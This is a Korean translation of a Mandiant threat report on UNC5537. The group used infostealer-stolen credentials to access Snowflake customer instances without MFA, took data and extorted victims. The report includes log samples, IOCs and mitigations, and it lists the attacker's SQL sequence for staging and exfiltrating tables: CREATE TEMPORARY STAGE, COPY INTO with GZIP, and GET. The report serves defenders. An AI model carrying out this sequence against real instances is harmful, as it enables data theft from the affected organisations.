UNC5337, Snowflake 고객의 인스턴스 노려 데이터 탈취 시도
Mandiant
* 본 아티클의 원문은 2024년 6월 11일 Google Cloud 블로그(영문)에 게재되었습니다.
서론
맨디언트(Mandiant)는 사건 대응과 정보 수집 과정에서 Snowflake 고객의 클라우드 데이터 플랫폼 인스턴스를 노리는 데이터 갈취 캠페인을 발견했습니다. Snowflake는 정형, 비정형 데이터 저장과 분석을 위한 멀티 클라우드 데이터웨어하우스 플랫폼입니다. 맨디언트는 이번 캠페인에 참여한 이들을 UNC5537로 명명하고 추적 중입니다. 이 위협 행위자 집단은 돈을 버는 것을 목표로 삼고 있으며, Snowflake 고객 환경에서 대량의 기록을 빼낸 것으로 보입니다. UNC5537은 도난당한 고객 자격 증명을 사용해 체계적으로 Snowflake 고객의 인스턴스를 침해하고, 피해 조직의 데이터를 사이버 범죄 포럼에서 판매합니다. 그리고 피해자들에게 돈을 지불하지 않으면 데이터를 공개하겠다고 협박하는 등 갈취 행위도 시도하고 있습니다.
맨디언트의 조사에 따르면 고객 계정 해킹은 Snowflake의 문제가 아니라 고객들의 개인 정보 유출로 인한 것입니다. 맨디언트가 대응한 모든 사건은 도난당하거나 예기치 않게 유출된 손상된 고객 자격 증명으로 인해 발생한 것이었습니다.
2024년 4월 맨디언트는 데이터베이스 기록(record)에 대한 위협 인텔리전스를 받았습니다. 조사 결과 이 기록은 해킹당한 Snowflake 데이터베이스에서 유출된 것이었습니다. 맨디언트는 피해 기업에 해당 사실을 알렸고, 이 기업은 맨디언트에 의뢰해 데이터 도난 관련 사건 조사에 착수하였습니다. 맨디언트는 조사 과정에서 위협 행위자는 개인 정보, 로그인 정보, 금융 정보 등을 훔치는 데 사용하는 인포스틸러 악성 코드(Info Stealer Malware)로 Snowflake 계정 정보를 훔쳤습니다. 그리고 이 정보를 이용해 Snowflake에 접속해 데이터를 빼내 갔습니다. 침해 당시 해당 계정은 다중 인증(MFA) 기능이 설정되어 있지 않아 위협 행위자는 아무런 방해 없이 데이터를 손에 넣었습니다.
2024년 5월 23일 맨디언트는 추가 정보를 확보하여 여러 Snowflake 고객 인스턴스를 대상으로 광범위하게 위협 행위가 진행되고 있는 것을 확인하였습니다. 이에 맨디언트는 즉시 Snowflake에 연락하였고, 잠재 피해자에게 관련 내용을 알리기 시작했습니다. 현재까지 맨디언트와 Snowflake는 약 165개 기업에 잠재 위험을 알렸습니다. Snowflake 고객 지원팀은 이 기업들에 직접 연락해 계정과 데이터 안전 보장을 위해 노력하고 있습니다. 또한, 맨디언트와 Snowflake는 공동 조사를 진행 중이며, 법 집행 기관과도 협력하고 있습니다. 참고로 2024년 5월 30일 Snowflake는 공격 탐지와 시스템 강화 가이드를 발표하였습니다.


캠페인 개요
맨디언트의 조사에 따르면 UNC5537은 도난당한 자격 증명을 사용해 여러 기업의 Snowflake 데이터베이스에 접근했습니다. 공격에 사용한 자격 증명은 악성 코드 배포 캠페인을 통해 대량으로 획득한 것으로 보입니다. Snowflake 시스템에서 흘러나온 것이 아닙니다. 공격자들은 도난당한 자격 증명을 사용해 피해 기업의 Snowflake 계정에 접속하여 중요 데이터를 빼냈습니다. 이후 UNC5537은 탈취한 데이터를 유명 사이버 범죄 포럼에서 판매하려 하였고, 피해 기업 일부를 직접 협박해 돈을 요구하기도 했습니다.
맨디언트는 UNC5537이 사용한 자격 증명 대부분이 예전에 일어난 악성 코드 감염 사건에서 유출된 것으로 보고 있습니다. 일부 자격 증명은 도난당한 시점이 2020년까지 거슬러 올라갑니다. UNC5537이 감행한 공격이 성공할 수 있었던 이유는 크게 세 가지입니다.
-
다중 인증(MFA) 미설정: 공격당한 계정들은 MFA가 설정되어 있지 않았습니다. 이는 유효한 사용자 이름과 비밀번호를 알고 있으면 누구나 해당 계정에 접속할 수 있다는 의미입니다.
-
오래된 자격 증명 사용: 인포스틸러 악성 코드를 통해 유출된 자격 증명은 몇 년이 지나도 유효한 경우가 많았습니다. 피해 기업들은 알게 모르게 새어 나간 자격 증명을 변경하거나 업데이트하지 않고 사용하고 있었습니다.
-
네트워크 허용 목록 미설정: 공격을 당한 Snowflake 계정들은 신뢰할 수 있는 위치에서만 접근을 허용하는 네트워크 허용 목록을 설정하지 않았습니다.
UNC5537 공격 타임라인


자격 증명 노출
맨디언트는 공격자가 VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA, METASTEALER 등 여러 인포스틸러 악성 코드 변종으로 이전에 노출된 Snowflake 고객 자격 증명을 사용한 것을 확인했습니다. 피해 조직 중 맨디언트에 사건 대응을 의뢰한 곳들이 있었습니다. 이들 기업을 조사한 결과 Snowflake 인스턴스 침해 원인이 노출된 자격 증명 때문이었습니다. 또한, 맨디언트와 Snowflake의 분석에 따르면 이번 공격 캠페인에서 공격자가 사용한 계정의 중 최소 79.7%는 이전에 이미 자격 증명이 노출된 적이 있는 것으로 나타났습니다.
공격자가 사용한 자격 증명과 관련된 최초의 인포스틸러 악성 코드 감염 날짜는 2020년 11월로 거슬러 올라갑니다. 맨디언트는 2020년 이후 인포스틸러 악성 코드를 통해 노출된 수백 개의 Snowflake 고객 자격 증명을 식별했습니다.
도난당한 자격 증명은 조직에 심각한 보안 위협을 초래합니다. 2023년을 기준으로 볼 때 사이버 공격의 10%는 도난당한 자격 증명을 이용해 시작되었는데, 이는 네 번째로 많이 사용한 초기 침투 방법이었습니다. 공격자들은 사용자가 같은 비밀번호를 여러 사이트에서 사용하거나, 개인 또는 회사 장치에 트로이 목마 소프트웨어를 다운로드하는 실수를 저지를 때 손쉽게 자격 증명을 손에 넣었습니다. 인포스틸러 악성 코드 사용이 공격자들 사이에 유행하는 것과 도난당한 자격 증명이 거래된다는 것은 기업 보안 담당자들에게 큰 도전 과제라 할 수 있습니다.
지원 계약 업체 담당자의 장치를 노리는 공격자들
여러 사건을 조사하는 과정에서 맨디언트는 공격자들이 계정 탈취 등을 위해 인포스틸러 악성 코드를 배포하는 대상으로 공격 대상 조직과 Snowflake 지원 관련 계약을 맺은 업체 담당자가 사용하는 개인 노트북을 노린다는 것을 발견하였습니다. Snowflake 사용을 위해 지원 계약을 맺을 경우 해당 업체의 담당자는 개인 노트북이나 모니터링이 되지 않는 장치를 사용할 수 있습니다. 이런 장치는 지원 업무 외에도 게임, 불법 소프트웨어 다운로드 등 개인적인 용도로 쓸 수 있습니다. 또한, 지원 업체 담당자가 사용하는 장치는 여러 기업의 시스템에 접근하는 데 사용합니다. 따라서 보안상 취약점이 될 수 있습니다. 만약 지원 계약을 맺은 업체에서 사용하는 장치가 인포스틸러 같은 악성 코드에 감염되면 공격자는 이 노트북을 통해 여러 기업의 시스템에 접근할 수 있습니다.
정찰 활동
Snowflake 고객 인스턴스의 초기 접근은 주로 웹 기반 UI(Snowflake UI, 일명 SnowSight)나 윈도우 서버 2022에서 실행되는 명령줄 인터페이스(CLI) 도구(SnowSQL)을 통해 이루어졌습니다. 맨디언트는 공격자가 "rapeflake"라는 이름의 유틸리티를 추가로 활용해 접근한 것을 확인했고, 이를 FROSTBITE라고 이름 붙여 추적하고 있습니다.
맨디언트는 아직 완전한 FROSTBITE 샘플을 분석하지 못했지만, 공격자들이 Snowflake 데이터베이스 공격을 위해 사용하는 정찰 도구로 FROSTBITE를 활용한다는 것을 확인했습니다. 맨디언트는 .NET 버전과 Java 버전의 FROSTBITE 사용을 관찰하였습니다. .NET 버전은 Snowflake .NET 드라이버와 연동해 작동하며, Java 버전은 Snowflake JDBC 드라이버와 연동해 작동합니다. FROSTBITE는 사용자 목록, 현재 역할, 현재 IP, 세션 ID, 조직 이름 등의 정보를 수집하는 정찰 활동을 수행합니다. 또한, 맨디언트는 UNC5537이 공개적으로 이용할 수 있는 데이터베이스 관리 유틸리티인 DBeaver Ultimate를 사용해 Snowflake 인스턴스에 연결하고 쿼리를 실행하는 것도 관찰하였습니다.
FROSTBITE Snowflake 로그 엔트리 예시
Deployment: <REDACTED> | Account ID: <REDACTED> |
Account Name: <REDACTED> | User Name: <REDACTED> |
Client IP: 45.27.26.205 | Client App ID: PythonConnector 3.10.1 |
Client App Version: 3.10.1 | Client Environment: {\n "APPLICATION":
"rapeflake",\n "LOGIN_TIMEOUT": null,\n "NETWORK_TIMEOUT": null,\n
"OCSP_MODE": "FAIL_OPEN",\n "OS": "Darwin",\n "OS_VERSION":
"macOS-13.6.7-arm64-arm-64bit",\n "PYTHON_COMPILER":
"Clang 14.0.3 (clang-1403.0.22.14.1)",\n "PYTHON_RUNTIME":
"CPython",\n "PYTHON_VERSION": "3.11.4",\n "SOCKET_TIMEOUT":
null,\n "TRACING": 30\n} (2024/05/31 20:10:13)
DBeaver Ultimate Snowflake 로그 엔트리 예시
Deployment Query: Sessions | Deployment: <REDACTED> | Account ID:
<REDACTED> | Account Name: <REDACTED> | User Name: <REDACTED> |
Client IP: 37.19.210.21 | Client App ID: JDBC 3.13.30 | Client App Version:
3.13.30 | Client Environment: {\n "APPLICATION":
"DBeaver_DBeaverUltimate",\n "JAVA_RUNTIME": "Java(TM)
SE Runtime Environment",\n "JAVA_VERSION": "17.0.10",\n "JAVA_VM":
"Java HotSpot(TM) 64-Bit Server VM",\n "OCSP_MODE": "FAIL_OPEN",\n
"OS": "Windows Server 2022",\n "OS_VERSION": "10.0",\n "account":
"<REDACTED>",\n "application": "DBeaver_DBeaverUltimate",\n "database":
"<REDACTED>",\n "password": "****",\n "schema": "<REDACTED>",\n
"serverURL": "https://<REDACTED>.snowflakecomputing.com:443/",\n
"tracing": "INFO",\n "user": "<REDACTED>",\n "warehouse":
"<REDACTED>"\n} (2024/04/14 10:04:10)
임무 완수
맨디언트는 UNC5537이 여러 Snowflake 고객의 인스턴스에서 유사한 SQL 명령을 반복해 실행해 데이터를 준비하고 유출하는 것을 관찰하였습니다. 다음 명령어들은 데이터 준비와 유출에 사용한 것입니다.
SHOW TABLES
UNC5537은 SHOW TABLES 명령을 사용해 정찰을 수행하고, 영향을 받은 고객 환경 전반에 걸쳐 있는 모든 데이터베이스와 연관된 테이블을 나열했습니다.
SHOW TABLES
SELECT * FROM
UNC5537은 SELECT 명령을 사용해 관심 있는 개별 테이블을 다운로드했습니다.
SELECT * FROM <Target Database>.<Target Schema>.<Target Table>
LIST/LS
UNC5537은 임시 스테이지를 생성하기 전에 LIST 명령을 사용하여 다른 스테이지를 나열하려고 시도했습니다.
ls <internal or external stage name>
CREATE (TEMP|TEMPORARY) STAGE
UNC5537은 CREAT STAGE 명령을 사용해 데이터를 준비하기 위한 임시 스테이지를 생성했습니다. 스테이지는 데이터 파일을 데이터베이스 테이블로 로드하고 언로드하기 위한 이름이 지정된 테이블입니다. 생성 시 임시로 지정된 스테이지는 생성자의 현재 Snowflake 세션이 종료되면 삭제됩니다.
CREATE TEMPORARY STAGE <Redacted Database>.<Redacted Schema>.
<Redacted Attacker Stage Name>;
COPY INTO
UNC5537은 COPY INTO 명령을 사용해 데이터를 이전에 생성된 임시 스테이지로 복사했습니다. COPY INTO 명령은 내부 스테이지, 클라우드 서비스에 연결된 외부 스테이지, 내부 Snowflake 테이블로 정보를 복사하는 데 사용될 수 있습니다. 공격자는 데이터를 유출하기 전에 데이터의 전체 크기를 줄이려고 COMPRESSION 매개변수를 사용해 결과를 GZIP 파일로 압축하는 모습을 보였습니다.
COPY INTO @<Attacker Stage and Path>
FROM (select * FROM <Target Database>.<Target Schema>.<Target Table> )
FILE_FORMAT = (
TYPE='CSV'
COMPRESSION=GZIP
FIELD_DELIMITER=','
ESCAPE=NONE
ESCAPE_UNENCLOSED_FIELD=NONE
date_format='AUTO'
time_format='AUTO'
timestamp_format='AUTO'
binary_format='UTF-8'
field_optionally_enclosed_by='"'
null_if=''
EMPTY_FIELD_AS_NULL = FALSE
)
overwrite=TRUE
single=FALSE
max_file_size=5368709120
header=TRUE;
GET
UNC5537은 GET 명령을 사용해 임시 스테이지에서 데이터를 로컬로 지정된 디렉토리로 유출했습니다.
GET @<target stage and filepath> file:///<Attacker Local Machine Path>;
UNC5537의 속성
맨디언트는 2024년 5월부터 UNC5537이라는 위협 행위자 집단을 추적하고 있습니다. 이 공격 그룹은 금전적 이익을 목적으로 전 세계 수백 개 기업을 공격했고, 공격 후 피해 기업을 협박해 돈을 요구한 경우가 많았습니다. UNC5537은 텔레그램 채널과 사이버 범죄 포럼에서 다양한 가명으로 활동하고 있습니다. 맨디언트는 UNC5537의 일부 구성원들이 다른 공격 그룹과 연관이 있는 것을 확인했습니다. 맨디언트의 분석 결과 UNC5537 구성원 중 상당 수는 북미에 거주하고 있고, 터키에 있는 멤버와 협력하는 것으로 추측할 수 있습니다.
공격자가 활용한 인프라
UNC5537은 피해 기업의 Snowflake 인스턴스에 접근할 때 주로 주로 Mullvad나 Private Internet Access(PIA) VPN IP 주소를 사용했습니다. 데이터를 유출할 때는 몰도바에 있는 업체인 ALEXHOST SRL(AS200019)의 VPS 시스템을 사용했습니다. 또한, UNC5537은 훔친 데이터를 여러 국제 VPS 공급 업체와 클라우드 스토리지 제공 업체인 MEGA에 저장하는 것으로 확인되었습니다.
전망
UNC5537은 특별히 새로운 도구, 기술, 절차(TTP)을 사용하지 않고 기존에 유출된 로그인 정보를 이용해 Snowflake 고객 인스턴스를 공격했습니다. 이 공격이 성공한 이유는 두 가지 원인 때문입니다. 하나는 유출된 로그인 정보를 지하 세계에서 쉽게 구매하거나 무료로 손에 넣을 수 있는 시대가 되었다는 것이고, 다른 하나는 많은 기업이 다중 인증(MFA)을 설정하지 않은채 오래된 로그인 정보를 계속 사용하는 것입니다.
-
UNC5537은 다양한 출처에서 유출된 Snowflake의 도난당한 자격 증명 정보를 수집했습니다. 도난당한 자격 증명은 다크웹 내외에서 무료나 유료로 구매할 수 있습니다.
-
영향을 받은 고객 인스턴스는 다중 인증(MFA)을 요구하지 않으며, 많은 경우 자격 증명 정보가 최대 4년 간 바뀌지 않았습니다. 더불어 네트워크 허용 목록도 사용되지 않았습니다.
이번 사건은 유출된 로그인 정보가 쉽게 악용될 수 있다는 심각성을 보여줍니다. 맨디언트는 UNC5537이 앞으로 비슷한 방식으로 SaaS 플랫폼을 공격할 것으로 보고 있습니다.
따라서 기업은 로그인 정보 유출을 감시해야 하고, 모든 계정에 다중 인증을 적용해야 하고, 중요 데이터에 대한 접근 권한을 제어하고 신뢰할 수 있는 위치에서만 접근을 허용하는 등 조처를 해야 합니다. 더 자세한 내용은 Snowflake 환경의 보안 강화 방법은 관련 가이드 문서를 참조 바랍니다.
Indicators of Compromise (IOCs)
Google Threat Intelligence Collection of IPs
Google Threat Intelligence Collection of IPs
클라이언트 애플리케이션 IDS
- Rapeflake
- DBeaver_DBeaverUltimate
- Go 1.1.5
- JDBC 3.13.30
- JDBC 3.15.0
- PythonConnector 2.7.6
- SnowSQL 1.2.32
- Snowflake UI
- Snowsight Al
추가 침해 지표에 대한 정보는 Snowflake 블로그 포스팅에서 확인할 수 있습니다.